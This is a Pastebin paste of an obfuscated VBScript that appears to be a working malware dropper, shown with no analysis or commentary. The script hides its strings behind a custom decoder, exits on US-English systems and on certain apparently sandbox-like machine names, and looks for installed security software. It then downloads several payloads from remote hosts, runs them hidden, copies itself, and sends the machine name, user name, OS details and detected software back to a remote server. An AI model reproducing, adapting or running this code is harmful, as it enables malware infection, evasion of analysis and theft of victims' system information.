SHARE
TWEET

Untitled

benkow_ Nov 23rd, 2015 236 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. On Error Resume Next
  2. Dim sAgxefyq
  3. Dim CdXsGqujjr
  4. Dim obsCntgdkw
  5. Dim sBfjngp
  6. Dim avxBfjngpk
  7. Dim key
  8. Dim sXtrIcqspik
  9. Dim sXtr2Icqspik
  10. key = "maxodyro"
  11.  
  12. Function xxyyRryjxexxx(xTxRFyqoo)
  13.  Dim lkyGqujjr, kyPGqujjr, LstCntgdkw, ysMeoherftu, NewIcqspik, y1Icqspik, y2Evmikiy
  14.  NewIcqspik = ""
  15.  lkyGqujjr = Len(key)
  16.  kyPGqujjr = 1
  17.  LstCntgdkw = Len(xTxRFyqoo)
  18.  xTxRFyqoo=StrReverse(xTxRFyqoo)
  19.  For ysMeoherftu = LstCntgdkw To 1 Step -1
  20.       y1Icqspik = asc(Mid(xTxRFyqoo,ysMeoherftu,1))
  21.       y2Evmikiy = Asc(Mid(key,kyPGqujjr,1))
  22.       NewIcqspik = NewIcqspik & chr(y1Icqspik - y2Evmikiy)
  23.       kyPGqujjr = kyPGqujjr+1
  24.       If kyPGqujjr > lkyGqujjr Then kyPGqujjr = 1
  25.       Next
  26.       NewIcqspik=StrReverse(NewIcqspik)
  27.       xxyyRryjxexxx = NewIcqspik
  28. End Function
  29.  
  30. sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  31.  
  32. XWSComputer = "."
  33. XWSXYkNuotgtqk = xxyyRryjxexxx("ÚÆìâÝÌÙÝÖÕÙáÉéÁΟ”æØ»™ßÞßÇ")
  34. Set XWSxkVfjmgi = GetObject(xxyyRryjxexxx("ɽ™ìÉíÓÝÜÔêÔÔæÛ¬ÙÆîÔ°çáØáÂæÞ×ë×ßÚÊó©×íßÖÚÏáæ") & XWSComputer & xxyyRryjxexxx("Ÿ×åØÇÕæÞÜÓÔ") )
  35. Set XWSUgkqoou = XWSxkVfjmgi.ExecQuery ("Select * " & XWSXYkNuotgtqk)
  36.   For Each oYkAgxefyqos in XWSUgkqoou  
  37.   If oYkAgxefyqos.OSLanguage = "1033" Then
  38.   WScript.Quit
  39.   End If
  40.   next
  41.  
  42.  
  43. dim gaterKhefvtk: Set gaterKhefvtk = createobject(xxyyRryjxexxx("½µÌ·°ÆʝáÇçâÓëÕغ"))
  44. Dim objWMIService, WshNetwork
  45. Set WshNetwork = WScript.CreateObject(xxyyRryjxexxx("ØÓçæØÞÀáÑááÇÌÉ"))
  46.  
  47. If (WshNetwork.ComputerName & WshNetwork.UserName = xxyyRryjxexxx("ÛÉ繧ɟ½µ°Â")) Then
  48.  WScript.Quit
  49.  End If
  50.  
  51. If (WshNetwork.ComputerName & WshNetwork.UserName = xxyyRryjxexxx("ßÐìÐÖíåØÛÊåÓ¥ïäâÒÍáÕ‘ÜÖ")) Then
  52.  WScript.Quit
  53.  End If
  54.  
  55. If (WshNetwork.ComputerName & WshNetwork.UserName = xxyyRryjxexxx("ÐÃÙ¿¼¦µ±®")) Then
  56.  WScript.Quit
  57.  End If
  58.  
  59. If (WshNetwork.ComputerName & WshNetwork.UserName = xxyyRryjxexxx("ßÐìÐÖíåØÛÊåÓ¥»¸°¥–½ ‘ÍŴ¨ÈÇ")) Then
  60.  WScript.Quit
  61.  End If
  62.  
  63.  If (WshNetwork.ComputerName & WshNetwork.UserName = xxyyRryjxexxx("æÃÚ°±Ï")) Then
  64.  WScript.Quit
  65.  End If
  66.  
  67.  
  68.  
  69.  
  70.  
  71. Set obsCntgdkw = WScript.CreateObject(xxyyRryjxexxx("ÙÍÝ×·§æßÖÓÛ»"))
  72. Set sDtavsi = CreateObject(xxyyRryjxexxx("áÄÝÙÆÈßÔáÔñÂÉåÛµ›ÈæØØéÛáд"))
  73.  
  74. If NOT (sDtavsi.FolderExists(xxyyRryjxexxx("ÎÕÙ³ÑÚäÖÜÓÈËž¼"))) Then
  75.     sDtavsi.CreateFolder(xxyyRryjxexxx("ÎÕÙ³ÑÚäÖÜÓÈËž¼"))
  76. End If
  77.  
  78. If NOT (sDtavsi.FolderExists(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName)) Then
  79.     sDtavsi.CreateFolder(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName)
  80. End If
  81.  
  82. sXtrIcqspik = xxyyRryjxexxx("ÉÔÝÛÍ¿’ÜÎÓßÞÖÉΩ°")
  83. sXtr2Icqspik = xxyyRryjxexxx("àÆäت™ßÐßÈçá´Õ¬²") & " (x86)\"
  84.  
  85.  
  86.  
  87. Function PuxaDtavsif
  88.  avxBfjngpk = xxyyRryjxexxx("¼±Å¸°")
  89.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("ÒÓÙæØß፵˰ºº"))) Then
  90.     avxBfjngpk = xxyyRryjxexxx("Á´Î°")
  91.  End If
  92.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("´·¹"))) Then
  93.     avxBfjngpk = xxyyRryjxexxx("Ũΰ")
  94.  End If
  95.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("ÐÆìÝÅæëÂ"))) Then
  96.     avxBfjngpk = xxyyRryjxexxx("ÛÐÌáÓÇ")
  97.  End If
  98.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("ÒÆÞ°ÇÆ"))) Then
  99.     avxBfjngpk = xxyyRryjxexxx("ÅÆÝեܿ")
  100.  End If
  101.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("¼¥Ç¼³¼µ"))) Then
  102.     avxBfjngpk = xxyyRryjxexxx("Å°¼¾±Èµ")
  103.  End If
  104.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("ßÆÜÝÉß×Óáʺ"))) Then
  105.     avxBfjngpk = xxyyRryjxexxx("ÅÓÝÓÒÞØÔÑÕá±")
  106.  End If
  107.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("Á¦Ë´"))) Then
  108.     avxBfjngpk = xxyyRryjxexxx("±°Æ")
  109.  End IF
  110.  
  111.  If (sDtavsi.FolderExists(sXtrIcqspik & xxyyRryjxexxx("ÛÊßäÐÉÔ¶"))) Then
  112.     avxBfjngpk = avxBfjngpk & xxyyRryjxexxx("š¾¿Ä°É´¶ÈŽ")
  113.  End If
  114.  
  115.  If (sDtavsi.FileExists(sXtrIcqspik & xxyyRryjxexxx("ÛÊßäÐÉÔ¶") & "\" & xxyyRryjxexxx("ÐÑߝÆÛ"))) = true Then
  116.     avxBfjngpk = avxBfjngpk & xxyyRryjxexxx("š¾Å¾¦æױȎ")
  117.  End IF
  118.  
  119.  If (sDtavsi.FileExists(sXtrIcqspik & xxyyRryjxexxx("ÛÊßäÐÉÔ¶") & "\" & xxyyRryjxexxx("ÐÑߝÊÞÕ"))) = true Then
  120.     avxBfjngpk = avxBfjngpk & xxyyRryjxexxx("š¾ÙãÉëÂç°¼¥")
  121.  End IF
  122.  
  123.   If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("ÒÓÙæØß፵˰ºº"))) Then
  124.     avxBfjngpk = xxyyRryjxexxx("Á´Î°")
  125.  End If
  126.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("´·¹"))) Then
  127.     avxBfjngpk = xxyyRryjxexxx("Ũΰ")
  128.  End If
  129.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("ÐÆìÝÅæëÂ"))) Then
  130.     avxBfjngpk = xxyyRryjxexxx("ÛÐÌáÓÇ")
  131.  End If
  132.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("ÒÆÞ°ÇÆ"))) Then
  133.     avxBfjngpk = xxyyRryjxexxx("ÅÆÝեܿ")
  134.  End If
  135.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("¼¥Ç¼³¼"))) Then
  136.     avxBfjngpk = xxyyRryjxexxx("Å°¼¾±Èµ")
  137.  End If
  138.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("ßÆÜÝÉß×Óáʺ"))) Then
  139.     avxBfjngpk = xxyyRryjxexxx("ÅÓÝÓÒÞØÔÑÕá±")
  140.  End If
  141.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("Á¦Ë´"))) Then
  142.     avxBfjngpk = xxyyRryjxexxx("±°Æ")
  143.  End IF
  144.  
  145.  If (sDtavsi.FolderExists(sXtr2Icqspik & xxyyRryjxexxx("ÛÊßäÐÉÔ¶"))) Then
  146.     avxBfjngpk = avxBfjngpk & xxyyRryjxexxx("š¾¿Ä°É´¶ÈŽ")
  147.  End If
  148.  
  149.  If (sDtavsi.FileExists(sXtr2Icqspik & xxyyRryjxexxx("ÛÊßäÐÉÔ¶") & "\" & xxyyRryjxexxx("ÐÑߝÆÛ"))) = true Then
  150.     avxBfjngpk = avxBfjngpk & xxyyRryjxexxx("š¾Å¾¦æױȎ")
  151.  End IF
  152.  
  153.  If (sDtavsi.FileExists(sXtr2Icqspik & xxyyRryjxexxx("ÛÊßäÐÉÔ¶") & "\" & xxyyRryjxexxx("ÐÑߝÊÞÕ"))) = true Then
  154.     avxBfjngpk = avxBfjngpk & xxyyRryjxexxx("š¾ÙãÉëÂç°¼¥")
  155.  End IF
  156.  
  157.  PuxaDtavsif = avxBfjngpk
  158. End Function
  159.  
  160.  
  161.  
  162. Function ggetyIcqspik(struuaqCntgdkw)
  163.   Dim  xhyGqujjr
  164.   Set xhyGqujjr = CreateObject(xxyyRryjxexxx("ž­Øì×äÞÆÊßØíºÝÖ¸¦ßØíºÝÖ¸"))
  165.  
  166.   On Error Resume Next
  167.   xhyGqujjr.open xxyyRryjxexxx("Á¦¿"), struuaqCntgdkw, False
  168.   xhyGqujjr.send ""
  169.      if err.Number = 0 Then
  170.      ggetyIcqspik = xhyGqujjr.responseText
  171.      Else
  172.      ggetyIcqspik xxyyRryjxexxx("ßÐêáÉ")
  173.      End If
  174.  
  175.   Set xhyGqujjr = Nothing    
  176. End Function
  177.  
  178. sBfjngptmp = "xx"
  179. sGqujjrtmpXY =  WScript.ScriptFullName
  180.  
  181.  
  182.   if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  183.   On Error Resume Next
  184.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“ÛçÛЏ¬çÖÞæâÎΦáÎãçà´ÈÞⓨ¬ßáÕà"))
  185.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  186.   sBfjngp = sBfjngptmp
  187.   Else
  188.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  189.   End If
  190. End If
  191.  
  192. if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  193.   On Error Resume Next
  194.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“ÞæØàÃÝæ’ªêÜÒÕëèקäÙâÌÜá¬àØ✐²ßØíÚ"))
  195.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  196.   sBfjngp = sBfjngptmp
  197.   Else
  198.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  199.   End If
  200. End If
  201.  
  202. if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  203.   On Error Resume Next
  204.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“ÞæØàÃÝæ’«êÜÒÕëèקÝØÝÔéÒ­àØ✐²ßØíÚ"))
  205.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  206.   sBfjngp = sBfjngptmp
  207.   Else
  208.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  209.   End If
  210. End If
  211.  
  212. if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  213.   On Error Resume Next
  214.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“ÞæØàÃÝæ’ëÓÖÙÖîØȧâÖÛËÞ±Ëßåžœ›èãØá"))
  215.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  216.   sBfjngp = sBfjngptmp
  217.   Else
  218.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  219.   End If
  220. End If
  221.  
  222. if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  223.   On Error Resume Next
  224.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“ç۝ž‘ª Ýæ×ãàÚëÔààÙÓ£ßÕר¡©ÝÕì×"))
  225.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  226.   sBfjngp = sBfjngptmp
  227.   Else
  228.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  229.   End If
  230. End If
  231.  
  232. if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  233.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“ç۝Ÿ‘ª Ýæ×ãàÚëÔààÙÓ£âÔ˨¡©ÝÕì×"))
  234.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  235.   sBfjngp = sBfjngptmp
  236.   Else
  237.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  238.   End If
  239. End If
  240.  
  241. if sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ") then
  242.   On Error Resume Next
  243.   sBfjngptmp = ggetyIcqspik(xxyyRryjxexxx("ÙÎì×’ìæØՐ©Ÿ“æáÒ›”¨¡•òßÔáÔñâ’éÙÝ×ǺÙÖà¡ž§ÑìãÌ"))
  244.   if InStr(sBfjngptmp,xxyyRryjxexxx("œ’¨ž")) > 0 then
  245.   sBfjngp = sBfjngptmp
  246.   Else
  247.   sBfjngp = xxyyRryjxexxx("ÜÊòÐÚ")
  248.   End If
  249. End If
  250.  
  251. pinqwKhefvtk = xxyyRryjxexxx("ž¤»»·™­Ÿ›") & ")"
  252.  
  253. Function lordLuGqujjr(sAgxefyq)
  254.   Dim objWiKhefvtk
  255.   Dim lngLNuotgtqk
  256.   Dim strAHrdkujr
  257.   Dim strBIcqspik
  258.   Dim strCKhefvtk
  259.   Dim strDLwviou
  260.   lngLNuotgtqk = 59666 ' milliseconds.
  261.  strAHrdkujr = xxyyRryjxexxx("Á¦¿")
  262.   strBIcqspik = ""
  263.   strCKhefvtk = xxyyRryjxexxx("¬žÅåÞØçÐÅ") &" (" & xxyyRryjxexxx("ÚÐÛ") & xxyyRryjxexxx("£Ì½„ìéÞÑÏáÆ„´¢¤½¸·Æ’ªÒÍÚØØÚâ") & pinqwKhefvtk
  264.   strDLwviou = 13056 ' 13056 = ignore all err, 0 = accept no err
  265.  Set objWiKhefvtk = CreateObject(xxyyRryjxexxx("ž­Øì×äÞÆÊßØíºÝÖ¸¦ßØíºÝÖ¸"))
  266.   objWiKhefvtk.SetTimeouts lngLNuotgtqk, lngLNuotgtqk, lngLNuotgtqk, lngLNuotgtqk
  267.   objWiKhefvtk.Option(0) = strCKhefvtk
  268.   objWiKhefvtk.Option(4) = strDLwviou
  269.   objWiKhefvtk.Option(6) = True
  270.   objWiKhefvtk.Option(12) = True
  271.   objWiKhefvtk.Open strAHrdkujr, sAgxefyq, False
  272.   If strAHrdkujr = xxyyRryjxexxx("Á´Ç¿") Then
  273.     objWiKhefvtk.setRequestHeader xxyyRryjxexxx("ÒÑñã‘íàÔáÏç²"), _
  274.       xxyyRryjxexxx("ÑÆÜÞÇç×ÛßÖ¥ÜÖèØœäØïœÜ¨àÞÖÕÙÒÍåâßÎ")
  275.   End If
  276.   objWiKhefvtk.Send(strBIcqspik)
  277.   If (objWiKhefvtk.Status = 200) Then
  278.     lordLuGqujjr = objWiKhefvtk.ResponseBody
  279.   End If
  280.   Set objWiKhefvtk = Nothing
  281. End Function
  282.  
  283. Function SaveLwviou(arrByteArray, CdXsGqujjr)
  284.   If VarType(arrByteArray) >= 8192 Then
  285.     Dim objBinMeoherf
  286.     Set objBinMeoherf = CreateObject(xxyyRryjxexxx("ÚÂÝáØÌ ±±°¼°"))
  287.     objBinMeoherf.Type = 1
  288.     objBinMeoherf.Open()
  289.     objBinMeoherf.Write(arrByteArray)
  290.     objBinMeoherf.SaveToFile CdXsGqujjr, 2
  291.  
  292.   End If
  293. End Function
  294.  
  295. Function PutaEvmikiy
  296.  obsCntgdkw.run xxyyRryjxexxx("±¥¹«¾ÄØ˜ÓÑÜ") & " " & chr(34) & xxyyRryjxexxx("ßÆÜÝÉß׳ÔïÞÈçÛÆÉÕÞÞ×èäÒÖ®ÔâÉâÕØÙÐÈ˩˳ÆÁ§ÇÂÀ¾À¸µ¤¹¼Ãų²¼­×ȩĺ") & chr(34) & " " & xxyyRryjxexxx("Ӑ˜ ”©¢Ÿ‘¨ç”™Öž¥Ê¾»½Ñ¶²³˜ã“™×áÎØñß·âæÝ®ÆäÑÅìÛ³×§") & " ", 0
  297.  obsCntgdkw.run xxyyRryjxexxx("±¥¹«¾ÄØ˜ÓÑÜ") & " " & chr(34) & xxyyRryjxexxx("ÚÆìâÝÌÎâÒÊÛØÐèÂËÛÐáâÖÞÈãÛÆêáÙ¼ÎâäÐÜÝÍÐÎãÓÐëÞÖÜۼɦʰ»Í¸¾À½½½­Áµ°ºÀÄ°§È¾ÎƦ÷") & " " & chr(34) & xxyyRryjxexxx("Ӑ˜Ÿ„Ý¡±³Çƨع´¿ìž„ºÇ»ÒÍÚÐÒ¾’åœ") & " ", 0
  298. End Function
  299.  
  300. Function getEvmikiydata
  301.   strDate = CDate(Date)
  302.   strDay = DatePart("d", strDate)
  303.   strMonth = DatePart("m", strDate)
  304.   strYear = DatePart("yyyy", strDate)
  305.   If strDay < 10 Then
  306.     strDay = "0" & strDay
  307.   End If
  308.   If strMonth < 10 Then
  309.     strMonth = "0" & strMonth
  310.   End If
  311.   getEvmikiydata = strYear & "-" & strMonth & "-" & strDay
  312. End Function
  313.  
  314. Set sFyqoo = CreateObject(xxyyRryjxexxx("áÄÝÙÆÈßÔáÔñÂÉåÛµ›ÈæØØéÛáд"))
  315. Set objtHrdkujr = CreateObject(xxyyRryjxexxx("áÄÝÙÆÈßÔáÔñÂÉåÛµ›ÈæØØéÛáд"))
  316.  
  317. PuxaDtavsif
  318.  
  319. If objtHrdkujr.FileExists(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÔÐäÈâçÐÉ")) = false Then
  320.  
  321. Set objuEvmikiy = objtHrdkujr.OpenTextFile(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÔÐäÈâçÐÉ"),8,true,false)
  322. objuEvmikiy.WriteLine WScript.ScriptFullName & "-" &getEvmikiydata & "-" & avxBfjngpk
  323. objuEvmikiy.Close
  324.  
  325. End If
  326.  
  327.  
  328.  
  329. sieqBfjngppin = xxyyRryjxexxx("æÑç҄䡏ÑÎÛ")  & " "
  330. agefGqujjrpin = xxyyRryjxexxx("ؐ˜ÓÑÜ")  & " "
  331. wecpIcqspikpin = xxyyRryjxexxx("à˜ÔÜÞ ¡ ÓîâËÞä")  & " "
  332.  
  333.  
  334. If sFyqoo.FileExists(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÔÐ䝘¬êçÑÊíÐÀ")) = false Then
  335. Set CdXsJtmdeah = sFyqoo.OpenTextFile(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÔÐ䝘¬êçÑÊíÐÀ"),8,true,false)
  336. CdXsJtmdeah.WriteLine WScript.ScriptFullName & "-" & getEvmikiydata
  337.  
  338. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòÓÝçâå")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÑÎ۝ÓÝçâÉ")
  339. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòËéܝÎÅåç")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÔÑâÅÝßç")
  340. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòËéܝÏÅåç")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÔÑâÆÝßç")
  341.  
  342. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòÊâٝÔÅäØÙà")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝËÝÞØâÈÔ")
  343. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòÊâٝÔÂßÝÍëáÚ")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË")
  344. obsCntgdkw.run wecpIcqspikpin & chr(34) &xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName  & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË") & chr(34), 0
  345. obsCntgdkw.run agefGqujjrpin & xxyyRryjxexxx("ÑÆäÑÅìÛӍžìáÅíåÑÏÝÕɽàØāßØÊçáҍÄë"), 0
  346. obsCntgdkw.run sieqBfjngppin & chr(34) & WScript.ScriptFullName & chr(34) & " " & chr(34) & xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("àÃîÑÞæâæÔÔ") & chr(34) & " & exit" ,0
  347. obsCntgdkw.run agefGqujjrpin & xxyyRryjxexxx("ÛÕ§ÉíÓÔßħ×äåÐáÉÛâ") & " " & chr(34) & xxyyRryjxexxx("ÅÈݶØéÛáд") & chr(34) & " " & xxyyRryjxexxx("ßÕ§") & " " & chr(34) & xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("àÃîÑÞæâæÔÔ") & chr(34) & " " & xxyyRryjxexxx("áʧ•™áÜœñÛÍÚ֏ÐÔ§") & " & exit" ,0
  348. strComputer = "."
  349. strXYkNuotgtqk = xxyyRryjxexxx("ÚÆìâÝÌÙÝÖÕÙáÉéÁΟ”æØ»™ßÞßÇ")
  350. Set objxkVfjmgi = GetObject(xxyyRryjxexxx("ɽ™ìÉíÓÝÜÔêÔÔæÛ¬ÙÆîÔ°çáØáÂæÞ×ë×ßÚÊó©×íßÖÚÏáæ") & strComputer & xxyyRryjxexxx("Ÿ×åØÇÕæÞÜÓÔ") )
  351. Set ossUgkqoou = objxkVfjmgi.ExecQuery ("Select * " & strXYkNuotgtqk)
  352.  
  353.  
  354.  
  355. strxNuotgtqk = xxyyRryjxexxx("“Ê‘³ŸÌ“")
  356. strxOiqkujr = xxyyRryjxexxx("œ˜êØÈ")
  357. strxPcwspy = xxyyRryjxexxx("ݏðÔÈçÛ")
  358. strxQktqhes = xxyyRryjxexxx("åžÝåÅáÕ®ÝÉ")
  359. strxRryjxe = xxyyRryjxexxx("ßÖžÔÚÚÚÒ")
  360. strxSrsgej = xxyyRryjxexxx("Ì©Ë°§ÉÁÃÌ•«ÂºÔ¯Û")
  361. PutaEvmikiy
  362.  
  363.     If sFyqoo.FileExists(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName  & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË")) = true Then
  364.      For Each PunkGqujjr in ossUgkqoou
  365.          gaterKhefvtk.Open xxyyRryjxexxx("Á¦¿"), sBfjngp & strxOiqkujr & strxPcwspy & strxQktqhes & strxRryjxe & strxSrsgej & strxNuotgtqk & WshNetwork.ComputerName & strxNuotgtqk & WshNetwork.UserName & strxNuotgtqk & PunkGqujjr.Version & strxNuotgtqk & PunkGqujjr.OSLanguage & strxNuotgtqk & avxBfjngpk & strxNuotgtqk & WScript.ScriptFullName & xxyyRryjxexxx("Ê‘ª”"), False
  366.      gaterKhefvtk.Send
  367.      next
  368.     End If
  369. End If
  370.  
  371.  
  372. If (WScript.ScriptFullName = xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("àÃîÑÞæâæÔÔ")) Then
  373.  
  374. If sFyqoo.FileExists(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName  & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË")) = false Then
  375. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòÓÝçâå")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÑÎ۝ÓÝçâÉ")
  376.  
  377. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòËéܝÎÅåç")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÔÑâÅÝßç")
  378. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòËéܝÏÅåç")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÔÑâÆÝßç")
  379.  
  380.  
  381. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòÊâٝÔÅäØÙà")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝËÝÞØâÈÔ")
  382. SaveLwviou lordLuGqujjr(sBfjngp & xxyyRryjxexxx("ÝÊòÊâٝÔÂßÝÍëáÚ")), xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË")
  383. obsCntgdkw.run wecpIcqspikpin & chr(34) &xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName  & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË") & chr(34), 0
  384. obsCntgdkw.run agefGqujjrpin & xxyyRryjxexxx("ÑÆäÑÅìÛӍžìáÅíåÑÏÝÕɽàØāßØÊçáҍÄë"), 0
  385. strComputer = "."
  386. strXYkNuotgtqk = xxyyRryjxexxx("ÚÆìâÝÌÙÝÖÕÙáÉéÁΟ”æØ»™ßÞßÇ")
  387. Set objxkVfjmgi = GetObject(xxyyRryjxexxx("ɽ™ìÉíÓÝÜÔêÔÔæÛ¬ÙÆîÔ°çáØáÂæÞ×ë×ßÚÊó©×íßÖÚÏáæ") & strComputer & xxyyRryjxexxx("Ÿ×åØÇÕæÞÜÓÔ") )
  388. Set ossUgkqoou = objxkVfjmgi.ExecQuery ("Select * " & strXYkNuotgtqk)
  389.  
  390.  
  391.  
  392. strxNuotgtqk = xxyyRryjxexxx("“Ê‘³ŸÌ“")
  393. strxOiqkujr = xxyyRryjxexxx("œ–êØÈ")
  394. strxPcwspy = xxyyRryjxexxx("ݏðÔÈçÛ")
  395. strxQktqhes = xxyyRryjxexxx("åžÝåÅáÕ®ÝÉ")
  396. strxRryjxe = xxyyRryjxexxx("ßÖžÔÚÚÚÒ")
  397. strxSrsgej = xxyyRryjxexxx("̳dz¥Ó»»®¶Ì°Ã­¥ÂüµÛ")
  398. PutaEvmikiy
  399.     If sFyqoo.FileExists(xxyyRryjxexxx("ÉÂìШæÓáÔÐê¿À³µ") & WshNetwork.UserName  & "\" & WshNetwork.UserName & xxyyRryjxexxx("ÓÊߝË")) = true Then
  400.      For Each PunkGqujjr in ossUgkqoou
  401.      gaterKhefvtk.Open xxyyRryjxexxx("Á¦¿"), sBfjngp & strxOiqkujr & strxPcwspy & strxQktqhes & strxRryjxe & strxSrsgej & strxNuotgtqk & WshNetwork.ComputerName & strxNuotgtqk & WshNetwork.UserName & strxNuotgtqk & PunkGqujjr.Version & strxNuotgtqk & PunkGqujjr.OSLanguage & strxNuotgtqk & avxBfjngpk & strxNuotgtqk & WScript.ScriptFullName & xxyyRryjxexxx("Ê‘ª”"), False
  402.      gaterKhefvtk.Send
  403.      next
  404.     End If
  405.  
  406. End If
  407.  
  408. End If
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top